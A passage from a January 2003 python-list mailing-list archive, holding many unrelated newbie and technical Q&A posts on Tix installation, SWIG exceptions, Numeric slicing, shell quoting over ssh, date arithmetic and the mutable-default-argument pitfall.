> >     for tbl in conn.list_tables(db[0]):
> 
> You can't use SQL functions like this (using methods on the connection
> object). Instead use something like:
> 
>     cursor = conn.cursor()
>     cursor.execute("select list_dbs()")
>     for db_row in cursor.fetchall():
...

You could also write cursor.execute("show databases")



From mhutchins at amr-corp.com  Thu Jan 30 09:34:13 2003
From: mhutchins at amr-corp.com (Hutchins, Mike)
Date: Thu, 30 Jan 2003 07:34:13 -0700
Subject: Service Control
Message-ID: <1DE2BB4E5055104F8B533D1264ED0BFE109CC1@cor1denexc1.cor1.root01.org>

I am not trying to be rude, but did I post this to the wrong list?

I would have expected a reply of some type in one of the 100+ messages
to the list I have received since I sent this one in.

If I posted to the wrong list, can someone suggest an alternative list
for a newbie like myself?

Thanks!

-----Original Message-----
From: Hutchins, Mike 
Sent: Wednesday, January 29, 2003 1:57 PM
To: 'python-list at python.org'
Subject: Service Control


I can't seem to be able to control services using win32serviceutil.

I keep getting

api_error: (1062, 'ControlService', 'The service has not been started.')

Any ideas on where to look? I have googled for a while now and can't
seem to figure it out.





From support at internetdiscovery.com  Wed Jan  1 13:55:52 2003
From: support at internetdiscovery.com (Mike Clarkson)
Date: Wed, 01 Jan 2003 18:55:52 GMT
Subject: Unresolved Problem with Tix-install (Tclerror :Couldn/t load file tix[version].so )
References: <34e4328e.0212120235.6efb02b4@posting.google.com> <2259b0e2.0212120933.1312d317@posting.google.com>
Message-ID: <3e133101.1597569@news.look.ca>

On 12 Dec 2002 09:33:58 -0800, mis6 at pitt.edu (Michele Simionato)
wrote:

>bachhx at mail.ru (Bach) wrote in message news:<34e4328e.0212120235.6efb02b4 at posting.google.com>...
>> Original message
>> I am trying to install Tix on a linux machine. I don't have access
>> privilege to write above my user directory.
>> There is already a python1.5 on the machine.
>> I installed  tcl8.3, tk8.3, tix8.1 and python2.2 with  --prefix =
>> /usr/people/erict/bin
>> It was 'succefull'
>> I included the following line in my .cshrc:
>> setenv PYTHONHOME /usr/people/erict/bin
>> setenv PYTHONPATH /usr/people/erict/bin/lib
>> setenv TIX_LIBRARY /usr/people/erict/bin/lib
>> setenv TCL_LIBRARY /usr/people/erict/bin/lib
>> setenv TK_LIBRARY /usr/people/erict/bin/lib
>> 
>> now here what I am getting:
>> erict_fairlop > python
>> Python 2.2.1 (#3, Apr 25 2002, 15:25:49)
>> [GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
>> Type "help", "copyright", "credits" or "license" for more information.
>> >>> import Tix
>> >>> root = Tix.Tk()
>> /usr/people/erict/bin/lib/libtix8.1.8.3.so     ## print out that I had
>> to see what it was trying to load
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>>   File "/usr/people/erict/bin/lib/python2.2/lib-tk/Tix.py", line 213, in
>> __init__
>>     self.tk.eval('package require Tix')
>> TclError: couldn't load file "/usr/lib/libtix": /usr/lib/libtix.so:
>> undefined symbol: XLowerWindow
>> >>>
>> 
>> 
>> Any Idea
>> Thanks
>
>It seems everybody trying to use Tix on RedHat gets in this trouble.
>I never understood what is its origin and how to fix it. Nevertheless, I
>discovered that everything works fine if I use python 2.2 instead of 2.2.1 
>or 2.2.2 (only RedHat knows why).
>I hope somebody will be more helpful than me. Cheers,

Your .cshrc is wrong and may be leading you to pick up some
other libtix on the system (try a find / -name libtix\* to be sure).
At least the tcl part of the .cshrc should be
 setenv TIX_LIBRARY /usr/people/erict/bin/lib/tix8.1
 setenv TCL_LIBRARY /usr/people/erict/bin/lib/tcl8.3
 setenv TK_LIBRARY /usr/people/erict/bin/lib/tk8.3

and I suspect the PHYTHONPATH should be 
.../lib/python2.2:.../libpython2.2/lib-tk:.../libpython2.2/lib-dynload
etc.

I don't know what the cause of this is - you never get this error
building Tix from sources (http://tix.souceforge.net/). It sounds
to me like the Tix and the Tk were linked against different X11
libraries, but I don't know why the version of Python would effect
this. Does the tixwish start Ok? Do the tixwish demos run Ok?

When you say "I installed  tcl8.3, tk8.3, tix8.1 and python2.2 "
do you mean that you built and installed from sources or from 
binary rpms? Do you have other binary tcltk rpms installed (rpm -qa)?

RedHat had legacy patches in their build of Tix that were unnecessary
and have now been removed for tix 8.1.4.  They have been very helpfull
in fixing their builds of Tix, so if this problem persists after
fixing the setenv, could I ask you both to open a RedHat bugzilla
report so we can get this identified and resolved, especially if you
think that "It seems everybody trying to use Tix on RedHat gets in
this trouble."

Happy New Year,

Mike.



From mwm at mired.org  Thu Jan  9 11:35:13 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 09 Jan 2003 16:35:13 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <o84r1vst3mp6nldbeclitnfk5lk3lr9ct8@4ax.com>
Message-ID: <x765syuvqx.fsf@guru.mired.org>

Afanasiy <abelikov72 at hotmail.com> writes:
> I would rather not have people to tell me how to design basic classes.
> Thanks for the offer. I will surely ask if I need the assistance there.

I don't think anyone wants to tell you how to design basic
classes. We'd just like to point out where you may have missed a trick
because you're not familiar with Python.

For instance, you test for "self.textwidth(self.lines[i]) > 0". Surely
that test can just be "self.lines[i]"? Or are there characters with
zero width?

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From u9300103 at mail.lssh.tp.edu.tw  Mon Jan  6 10:19:47 2003
From: u9300103 at mail.lssh.tp.edu.tw (Tiberius Teng)
Date: 6 Jan 2003 07:19:47 -0800
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com> <0sah1vs5mtl0tmnveqev1dklq8ppt2rmev@4ax.com> <3E196960.9A4@zeusedit.com>
Message-ID: <9d791d77.0301060719.57b8bc0c@posting.google.com>

I would suggest EmEditor (http://www.emurasoft.com).



From N.Vasiliev at apatit.com  Fri Jan 31 04:41:46 2003
From: N.Vasiliev at apatit.com (Nicolay Vasiliev)
Date: Fri, 31 Jan 2003 12:41:46 +0300
Subject: In continuing of my question...
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru> <mailman.1043997238.14292.python-list@python.org>
Message-ID: <b1dgcq$1iss$1@bull.east.ru>

"Jack Diederich" <jack at performancedrivers.com> ???????/???????? ? ????????
?????????: news:mailman.1043997238.14292.python-list at python.org...
> On Fri, Jan 31, 2003 at 09:51:06AM +0300, Nicolay Vasiliev wrote:
> > Does Python have any reporting system (maybe as third party tool)? And
could
> > I export data to MS applications (ie, MS Excel)?
> >
>
> I'll be kinder than I could be,
>
> Please ask a full question,
>   what do you need reporting about?
>     - application usage? (how is this python application being used?)

I meant this. Does Python have such possibility at all?

Nicolay V.





From andrew.gregory at npl.co.uk  Tue Jan 14 05:37:05 2003
From: andrew.gregory at npl.co.uk (Andrew Gregory)
Date: 14 Jan 2003 02:37:05 -0800
Subject: Catching exceptions from C/C++ extensions
References: <2830c89c.0301130437.39573be8@posting.google.com> <mailman.1042464563.14385.python-list@python.org>
Message-ID: <2830c89c.0301140237.54980dd4@posting.google.com>

Looking at the wrapper file, I wonder if the new exception type should go into
the "main" dictionary. Does anyone know how to achieve this?

*** Extract from wrapper ***

    m = Py_InitModule((char *) SWIG_name, SwigMethods);
    d = PyModule_GetDict(m);

    [snip]

    MyError = PyErr_NewException("_mymodule.MyError", NULL, NULL);
    if (MyError != NULL)
    PyDict_SetItemString(d, "My error", MyError);


*** Test program ****

import mymodule

h=mymodule.Myclass()

try:
    print h.MyFunc(0)
except MyError: print "Caught"

# except h.MyError: print "Caught"
# except mymodule.MyError: print "Caught"

(none of above except statements works)


*** C++ code ***
// * Error object must be Myerror defined in SWIG interface file *
typedef PyObject* RESULTOBJ;
#define pyfail NULL


// Set Python error string
void SetError(char *es)
{
   PyErr_SetString(MyError, es);	  
}; 
 
class Myclass
{  
  // Hand-coded wrapper for returning int
  RESULTOBJ wrap_int(int i)
  {
    RESULTOBJ result;
    result = PyInt_FromLong(i);
    return Py_BuildValue("O",result);
  };

  public:
  Myclass() {};


   RESULTOBJ MyFunc(int i);
};              
  

// Set error if arg zero.
 RESULTOBJ Myclass::MyFunc(int i)
 {

  if (i==0)
  {
    SetError("My Error"); return pyfail;
  };
       
  return wrap_int(i);

 };



Andrew Bennetts <andrew-pythonlist at puzzling.org> wrote in message news:<mailman.1042464563.14385.python-list at python.org>...
> On Mon, Jan 13, 2003 at 04:37:06AM -0800, Andrew Gregory wrote:
> > I've written an extension which defines it's own exception class:
> > 
> > // In initialisation section
> >    static PyObject* Myerror;
> > 
> >    Myerror = PyErr_NewException("_mymodule.Myerror", NULL, NULL);
> 
> [..snip..]
> 
> > Which is just what I would expect. But if in a script file I have
> > something like
> > 
> > import mymodule
> > 
> >   try:
> >       y=myfunc()
> >   except Myerror:
> > 
> > I get
> > 
> >   NameError: name 'Myerror' is not defined 
> 
> Does:
> 
>     import mymodule
> 
>     try:
>         y = myfunc()
>     except mymodule.Myerror:
>         ...
> 
> do what you want?
> 
> -Andrew.



From pyth at devel.trillke.net  Thu Jan 30 19:15:17 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Fri, 31 Jan 2003 01:15:17 +0100
Subject: Help a C++ coder see the light
In-Reply-To: <gDg_9.5337$Wu1.408645@newsread1.prod.itd.earthlink.net>; from vanevery@3DProgrammer.com on Thu, Jan 30, 2003 at 09:17:00PM +0000
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043950983.29401.python-list@python.org> <gDg_9.5337$Wu1.408645@newsread1.prod.itd.earthlink.net>
Message-ID: <20030131011517.A10804@prim.han.de>

Brandon Van Every wrote:
> holger krekel wrote:
> > With C++ & Java i never really
> > cared that much for fine-grained tests.  It was just to
> > painful
> 
> I write such tests in C++ all the time.  What's the big deal?  How are you
> going to know your 3D graphics math is correct unless you actually display
> it on the screen and take a look-see?  Sure, my coding progress is slow.

That's it, i guess.  Of course you can write tests in any language 
but some make it easy and fast and others make it tiresome. 

> But it's also bug-free.  

That's a bold statement which even brilliant programmers tend to avoid.

> That's the fully loaded cost of development: you
> can either pay less now or more later.  I agree that testing is what people
> need to do, but it's a totally language-neutral solution.

Theoretically, yes.  Practically, development time does matter. 

    holger




From vze33v6m at verizon.net  Thu Jan 16 15:48:55 2003
From: vze33v6m at verizon.net (pavs)
Date: Thu, 16 Jan 2003 20:48:55 GMT
Subject: Newbe: Python Exercise
Message-ID: <XUEV9.2900$zH5.176@nwrddc03.gnilink.net>

# Write a program that gets 2 string variable and 2 integer variable for the user,
# concatenates(joins them together with no space) and displays the strings,
# then multiplies the two numbers on a new line.

print
print "Exercise:-"
str1 = raw_input("Type First String: ")
str2 = raw_input("Type Second String: ")
num1 = input("The First Number: ")
num2 = input("The Second Number: ")
print "str1 & str2 =", str1, str2
print "num1 * num2 =", num1*num2

--------------------

Hi, I want to know if this is what it meant, when it asked for "Concatenate"? If not, isn't this another way to do it?

Also, I am currently reading the Book: "Non-programmers Tutorial For Python" By, Josh Cogliati.
Is there any other online book you guys would recommend?

Thanks,
pavs





-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030116/29c5d2c4/attachment.html>

From gillet at scripps.edu  Fri Jan 17 15:23:09 2003
From: gillet at scripps.edu (Alexandre Gillet)
Date: Fri, 17 Jan 2003 12:23:09 -0800
Subject: Problem installing module readline for Python2.3a1 on SGI 
Message-ID: <3E28662D.6030603@scripps.edu>

Hi,

Thanks for the answer. I will wait for 2.3a2 and try it.
I have readline 4.3


-- 
   o Alexandre Gillet               email: gillet at scripps.edu









From tim.one at comcast.net  Sun Jan 19 23:46:43 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 19 Jan 2003 23:46:43 -0500
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <3E2B5DD7.CA1AC179@alcyone.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEFODJAB.tim.one@comcast.net>

[Erik Max Francis, on
    (f() and [g()] or [h()])[0]
]

> Well, I hope that in "real life" people aren't really doing this
> commonly.

I don't think commonly, no, just sometimes.  When it's someone I know, I
shoot them.

> The point of wanting a conditional operator (which I would gladly
> welcome in Python, by the way) is readability; this utterly destroys
> that.  `p and x or y' (when x is known not to be false) is barely
> tolerable, but even that is seriously pushing it.

The prospects for a conditional operator are dim.  Guido was interested
enough to implement it in late 2001, but eventually rejected his own patch:

    http://www.python.org/sf/471421





From regnivon at netscape.net  Tue Jan 14 17:39:56 2003
From: regnivon at netscape.net (scn)
Date: 14 Jan 2003 14:39:56 -0800
Subject: Learning Python - The Book
Message-ID: <3cf72d52.0301141439.53f1f521@posting.google.com>

Hello.  I am new to programming and Python in particular.  My interest
is to learn how to program to begin automating tasks at work that are
still done using pencil and paper.  I understand that Python offers
many advantages over other languages for many various reasons.

I have taken a look at the book Learning Python and noticed that it
was written in 1999.  Python is currently up to version 2.3  Is this
book still applicable in most aspects of the language, or would it be
wiser for me to save my money and wait for a 2nd edition to come out
with more up-to-date information? Thank you.



From kowk at earthlink.net  Wed Jan 15 00:20:28 2003
From: kowk at earthlink.net (Kow K)
Date: Tue, 14 Jan 2003 21:20:28 -0800
Subject: Seeking Minimal Python Project Name
In-Reply-To: <20030115045301.22652.6939.Mailman@mail.python.org>
Message-ID: <0F97190B-2849-11D7-AF7F-00050287C0A6@earthlink.net>

>
> Erik Max Francis wrote:
>
> Although I must admit Ython has a weird attraction to me ...

Thanks for your invaluable support. This one is for connoisseurs. ;-)

> Christian Tismer wrote:
> ...
>
>> Perhaps something like Python-in-Python (PIP) might be a better name.
>> Although I must admit Ython has a weird attraction to me ...
>
> ounds '' it ike astration, '' ust dmit -)
>
> ur's incerely - hris
>

If that is the case, it should be like:

	Sound "bi lik castratio , mus admi ;-

Cheers,
Kow





From peter at engcorp.com  Fri Jan  3 09:02:49 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 09:02:49 -0500
Subject: comments inside blocks
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com> <3E1468BF.94A4DAD6@engcorp.com> <3E146ED1.8010602@draigBrady.com> <3E148575.FC9FCE77@engcorp.com> <3E15672B.9010508@draigBrady.com>
Message-ID: <3E159809.BD9B19C7@engcorp.com>

P at draigBrady.com wrote:
> 
> Peter Hansen wrote:
> > Okay, good point.  Remember though, that this is also valid
> > Python:
> >
> > for i in range(10):
> >     print i
> >
> > # if we make it to the end, do this
> > else:
> >     print 'loop completed normally!'
> 
> well the else (same level) is never folded along with the for

Good point.  I thought of that only after hitting Send. :-(

-Peter



From imbosol at vt.edu  Tue Jan 14 03:15:07 2003
From: imbosol at vt.edu (Carl Banks)
Date: Tue, 14 Jan 2003 08:15:07 GMT
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <YC5U9.6651$%V.6206@nwrddc02.gnilink.net> <mailman.1042495345.3409.python-list@python.org>
Message-ID: <fGPU9.43523$uL2.15518@nwrddc01.gnilink.net>

Chad Netzer wrote:
> On Saturday 11 January 2003 19:51, Carl Banks wrote:
>> For example, lists (and Numeric
>> arrays) can do this:
>>
>>     a = b[:]
> 
> Just to be pedantic, Numeric arrays (ie, from the Numeric module) do 
> NOT copy when you slice them.  They return views into the slice.  This 
> break from Python semantics was done early on as a performance 
> enhancement, and can cause no end of confusion (unfortunately).


Silly me.  To add more confusion, this is a way to copy Numeric
arrays:

a[:] = b

Or you can just use .copy()


> You copy Numeric arrays with the .copy() method.  I think the 
> 'numarray' people (who are building a replacement for Numeric) have 
> gone back and forth over whether to keep the 
> slices-are-views-not-copies feature, and have decided (for 
> compatibility w/ Numeric) to keep it as is.
> 
> But regardless, since it may matter, Numeric slices do not produce 
> copies, but views (or aliases).
> 

-- 
CARL BANKS




From BPettersen at NAREX.com  Tue Jan 14 00:00:03 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 13 Jan 2003 22:00:03 -0700
Subject: Extracting float from string
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDFE6@admin56.narex.com>

> From: Peter Hansen [mailto:peter at engcorp.com] 
> 
> Spencer Ernest Doidge wrote:
> > 
> > From a previous post,
> > I got many good solutions to extracting an int from
> > 'X= 445 A'.
> > 
> > Now what about this one?
> > Somewhere (we don't know where) in this input string, we 
> > expect to find a float:
> > ':X=  0.22456  A'
> > 
> > How can I suck the float out of this one?
> 
> Since you aren't giving almost any more information about this one
> than the last... I'm not going to play any more.
> 
> (If you hadn't noticed, you got exactly seven earnest 
> attempts (so far)
> at helping you out in spite of a *pitifully inadequate* specification
> of your requirements.
[...]

Spencer: it might be insightful for you to read
http://www.tuxedo.org/~esr/faqs/smart-questions.html. People on c.l.py
are friendly to all newcommers, but probably even more friendly (or at
least give better answers) you they ask "Smart Questions" <wink>.

-- bjorn




From max at alcyone.com  Thu Jan 30 21:17:11 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 18:17:11 -0800
Subject: Getting return value in os.system rsh call
References: <48633651.0301291033.6f6afeb6@posting.google.com> <3E389466.8789FA1A@alcyone.com> <48633651.0301300317.174e5e1b@posting.google.com>
Message-ID: <3E39DCA7.AE46EAE@alcyone.com>

Andrew wrote:

> DUH.... Erik, I should have read more closely.....
> 
> ... I need the slash. Then it works. The thing is I've never been
> completely happy with my understanding of Unix quoting.
>
> Can anyone explain why putting the slash in makes a difference?

Yeah, sorry about that.  Shells and quoting can get trickly.  You need
to escape the $ so that $? (which represents the exit code of the last
executed command) doesn't get evaluated on _this_ side of the pipe, but
rather gets evaluated on the remote side along with the ./bad.py
command.

You can even fiddle around with normal variables yourself to see that
(I'll use ssh instead of rsh, but the principle is the same):

max at oxygen:~% x=123
max at oxygen:~% echo $x
123
max at oxygen:~% ssh carbon x=321 \; echo $x
123
max at oxygen:~% ssh carbon x=321 \; echo \$x
321

Another way to avoid all these problems is to use single quotes (which
do not expand variables):

max at oxygen:~% ssh carbon 'x=321; echo $x'
321

> Also, how do I get rid of the stty error messages?

That's rsh doing something weird; I haven't used rsh in years, so I
can't really say what it's up to.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ A man cannot be comfortable without his own approval.
\__/ Mark Twain
    CAGE / http://www.alcyone.com/pyos/cage/
 A cellular automaton simulation system in Python.



From mwilson at the-wire.com  Fri Jan 17 12:15:50 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Fri, 17 Jan 2003 12:15:50 -0500
Subject: comprehensions was Re: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com>
 <mailman.1042672181.22990.python-list@python.org>
 <a8b7f07a.0301160724.424a1025@posting.google.com>
 <200301160736.18786.shalehperry@attbi.com>
 <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com>
 <mailman.1042740101.18359.python-list@python.org>
 <3E27433C.EA3186C0@alcyone.com>
Message-ID: <GpDK+ks/KDAV089yn@the-wire.com>

In article <3E27433C.EA3186C0 at alcyone.com>,
Erik Max Francis <max at alcyone.com> wrote:
>Jack Diederich wrote:
>
>> TMTOWTDI aside, I find filter and map much easier to pick out when
>> reading
>> through code.
>	...
>> The actual action is hidden at the end, we're doing a filter()
>>
>> Less of a good reason, but map() and filter() exist in other languages
>> so they are more broadly recognizable even to newbies.
>
>I would hope that an experienced programmer would read the _whole_ line
>before he makes up his mind about exactly what the code does.

   In panic debugging (e.g. after a production run has
crapped out in the night) you wind up reading huge amounts
of code very quickly to find a possible source of the bug.
True, you're more interested in what a line of code
*doesn't* do; that admits partial reading.

        Regards.        Mel.



From gumuz at looze.net  Mon Jan 20 07:32:33 2003
From: gumuz at looze.net (Gumuz)
Date: Mon, 20 Jan 2003 13:32:33 +0100
Subject: Play .wav files
Message-ID: <3e2becc7$0$811$4d4ebb8e@news.nl.uu.net>

I have found the wave module to read/manipulate/write .wav files. I can look
up particular positions/sections of a wave file, but I was wondering how i
could play them.


regards,

Guyon






From dpawson at nearlynildram.co.uk  Sun Jan  5 10:19:25 2003
From: dpawson at nearlynildram.co.uk (Dave Pawson)
Date: 05 Jan 2003 15:19:25 GMT
Subject: date time arithmatic
References: <Xns92FA7A697169ADavePnearlydpawson@195.149.20.147> <av9aj0$1lno$1@serv.vrn.ru>
Message-ID: <Xns92FA9BE2D511ADavePnearlydpawson@195.149.20.147>

"Lexy Zhitenev" <zhitenev at cs.vsu.ru> wrote 
> 
> If the dates you operate on are in the Unix Epoch (1970 - 2038), you
> can use "time.mktime" function.
> 
>>>> import time
>>>> def now(d, m, y):
> ...          return int(time.mktime(d, m, y, 0, 0, 0, 0, 0, 0) / 86400)
> # 86400 - number of seconds passed since 1970/1/1.

That's it... (once I changed the parameter to a tuple :-)

Many thanks.

DaveP.



From tdelaney at avaya.com  Thu Jan 30 23:01:46 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Fri, 31 Jan 2003 15:01:46 +1100
Subject: Implicit lists
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADC4CB@natasha.auslabs.avaya.com>

> From: Christian Tismer [mailto:tismer at tismer.com]
> 
> In my opinion, the crux of this all is the decision
> that strings are iterable.
> The number of use cases which I have seen so far is much
> shorter than this thread.
> Strings are much more often used as solid objects.
> I'm pretty sure Guido would remove the sequence-ness
> of strings in Python 3000, even to avoid this kind
> of problems.

Whilst I've always liked that strings are iterable in Python, it does lead
to complexity when you want to treat them specially.

Additionally, the new semantics of 'in' for strings in 2.3 does suggest a
lessening of the sequence-like behaviour of strings.

However, there has been a move to making *more* things iterable, not less.
Whilst in general this is nice, it does mean that there are more
opportunities for invalid objects to be processed by library routines.

I would say, if you absolutely *must* have a list, document as such and do a
typecheck. If someone wants to pass a non-list, they must convert it to a
list by whatever method is appropriate.

But in general, wider interfaces are preferable.

Tim Delaney




From kyle at lakeofburningfire.org  Sun Jan 26 18:30:39 2003
From: kyle at lakeofburningfire.org (Kyle Yancey)
Date: Sun, 26 Jan 2003 23:30:39 GMT
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04>
Message-ID: <cor83v4ih1j852u8hd8gfsnqcahp07vgfo@4ax.com>

One question.  Is there any way to create an object with a
constructor? I was trying one of the form examples in the .Net
documentation.  How would I do this:  point1 = Point (10, 10);

On Sun, 26 Jan 2003 20:58:42 GMT, "Chetan Gadgil"
<cgjunkaddr at attbi.com> wrote:

>Hi
>
>I have updated the library and documentation with some examples:
>1) How to use XML apis from .NET
>2) How to access .NET webservices dynamically from Python
>3) Create Windows forms
>
>Coming soon:
>
>1) How to access COM objects from Python, without using win32com library.
>(using only kobra .NET)
>
>This project is under constant development to increase usability and improve
>features.
>
>Thanks to GV Rossum for creating this superb language - Python and to Mark
>Hammond for his awe inspiring win32all.
>
>http://www.gadgil.net/DotNetWrapperForPython.htm
>
>Regards
>Chetan
>




From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 16:10:58 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 29 Jan 2003 13:10:58 -0800
Subject: is it a bug ??
References: <3E383FA0.3000000@wanadoo.fr>
Message-ID: <7x1y2vpspp.fsf@ruckus.brouhaha.com>

brauner joel <jbrauner at wanadoo.fr> writes:
> def f(a=[]):
> 	print a
> 	if len(a)<5:
> 		a.append(1)
> 		f(a)
> 	print a
> 
> returns :
> 
> []
> [1]
> [1, 1]
> [1, 1, 1]
> [1, 1, 1, 1]
> [1, 1, 1, 1, 1]
> [1, 1, 1, 1, 1]
> [1, 1, 1, 1, 1]
> [1, 1, 1, 1, 1]
> [1, 1, 1, 1, 1]
> [1, 1, 1, 1, 1]
> [1, 1, 1, 1, 1]
> 
> In other words, the recursive function f seems to make the a list
> global for all the occurences of the function
> 
> is that normal ?

The problem is the default arg [] is evaluated only when f is defined,
not every time it's called.  So whenever you call f, you always get
the exact same list.  Once you've mutated the list, it stays mutated.



From aleax at aleax.it  Wed Jan 29 16:46:37 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 21:46:37 GMT
Subject: portable method for getting system date & time?
References: <o_WZ9.138171$GF.34908845@twister.columbus.rr.com>
Message-ID: <1ZXZ9.138418$AA2.5718425@news2.tin.it>

Sam Marrocco wrote:

[nothing, but the question is presumably in the subject]

in what form to you want to "get" them?  Standard module time
has quite a few ways to return them to you.  E.g.:

 
>>> import time
>>> print time.asctime()
Wed Jan 29 22:45:20 2003
>>>

this is local time in string form, while, e.g.:

>>> print time.time()
1043876744.4
>>>

this is UTC time in seconds since an arbitrary epoch -- and so
on, and so forth.  Say in what form you want this, and module
time probably has a solution (quite portable too).


Alex




From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 21:37:00 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 18:37:00 -0800
Subject: map() question...
References: <ubnU9.50476$DN6.1535465@twister.austin.rr.com>
Message-ID: <7xd6n1ojw3.fsf@ruckus.brouhaha.com>

"Kevin Ethridge" <kevinethridge at yahoo.com> writes:

> Why doesn't map() work with the print function?
> ie map(print, ['Have', 'a', 'great', 'day.'])

print is a statement, not a function.  Try 
  map(sys.stdout.write, ['Have ', 'a ', 'great ', 'day.\n'])



From BPettersen at NAREX.com  Fri Jan 24 16:05:35 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Fri, 24 Jan 2003 14:05:35 -0700
Subject: Using SWIG to build Python extensions -- help!
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE1E1@admin56.narex.com>

> From: Carl Bevil [mailto:carl_bevil at yahoo.com] 
> 
> Hello all.  I'm experimenting with using SWIG to build a 
> Python extension.  I 
> have a really simple C++ file that I'd like to extend Python 
> with as a test.
> 
> I'm building the interpreter as a library that I statically 
> link into my main 
> application.  Dynamic linking is not an option for my target 
> platform, so I've 
> downloaded the Python source code.  I'm using Python 2.1.3.
[...]

I've only seen statically linked extension modules created by a
"wrapper-generator" in Boost.Python
(http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/boost/boost/l
ibs/python/test/embedding.cpp).

Start at:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/*checkout*/boost/boost/li
bs/python/doc/index.html for the current docs if you're interested...

-- bjorn




From maney at pobox.com  Tue Jan 28 23:38:44 2003
From: maney at pobox.com (Martin Maney)
Date: Wed, 29 Jan 2003 04:38:44 +0000 (UTC)
Subject: Emacs has eaten my python tabs!!!
References: <1043563632.4966.71.camel@refugeeMedia> <15923.64232.153575.441139@montanaro.dyndns.org> <mailman.1043595527.13755.python-list@python.org> <pm7eg-im3.ln1@beastie.ix.netcom.com> <v39007j7i12ud2@news.supernews.com> <x7ptqite7v.fsf@guru.mired.org>
Message-ID: <b17lsk$rfc$2@wheel2.two14.net>

Mike Meyer <mwm at mired.org> wrote:
> "John Roth" <johnroth at ameritech.net> writes:
>> OE has this nasty habit of ignoring leading tabs.
> 
> OE also has the nasty habit of word wrapping ...

All right, I've been trying to resist, but this is too much.  Can we
all just agree that OE has nasty habits, full stop?



From mathew at fugue.jpl.nasa.gov  Wed Jan  8 18:04:56 2003
From: mathew at fugue.jpl.nasa.gov (Mathew Yeates)
Date: Wed, 08 Jan 2003 15:04:56 -0800
Subject: avoiding long paths to interpreter
Message-ID: <aviaqo$9k6$1@nntp1.jpl.nasa.gov>

in TCL, there is a trick where, instead of
writing
#![long path to tcl interpreter]

you write
#!/bin/sh
.
. some magic, I don't remember what
.

Is there an equivalent in python? What is the
bast way to distibute a python script without
knowing the users path to the python executable?

Mathew




From aahz at pythoncraft.com  Thu Jan 23 22:09:52 2003
From: aahz at pythoncraft.com (Aahz)
Date: 23 Jan 2003 22:09:52 -0500
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <mailman.1043361749.31477.python-list@python.org>
Message-ID: <b0qaq0$rna$1@panix2.panix.com>

In article <mailman.1043361749.31477.python-list at python.org>,
Skip Montanaro  <skip at pobox.com> wrote:
>
>    Mike> match = re.match(pattern, string)
>    Mike> if match:
>    Mike>   // do something with match object
>
>Verbose or not, this is approximately the correct way to do it.  You should
>test against None, and eschew the C++ comments:
>
>    match = re.match(pattern, string)
>    if match is not None:
>      # do something with match object

That seems a bit odd to me.  Why test against None, instead of simply
"if not match"?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From sholden at holdenweb.com  Sat Jan 18 15:50:33 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sat, 18 Jan 2003 20:50:33 GMT
Subject: open an html string in a browser?
References: <v2j7tdai7bk9a9@corp.supernews.com>
Message-ID: <t6jW9.7411$bs2.517@news2.central.cox.net>

"Lance" <lbrannma at cablespeed.com> wrote in message
news:v2j7tdai7bk9a9 at corp.supernews.com...
> Hi All,
>
> I have a zip file containing perhaps 800 html files. I want to use Python
to
> open one of these files in a browser.
> Suppose the filename is myfile.html.
>
> I've tried webbrowser and zipfile. These don't work.
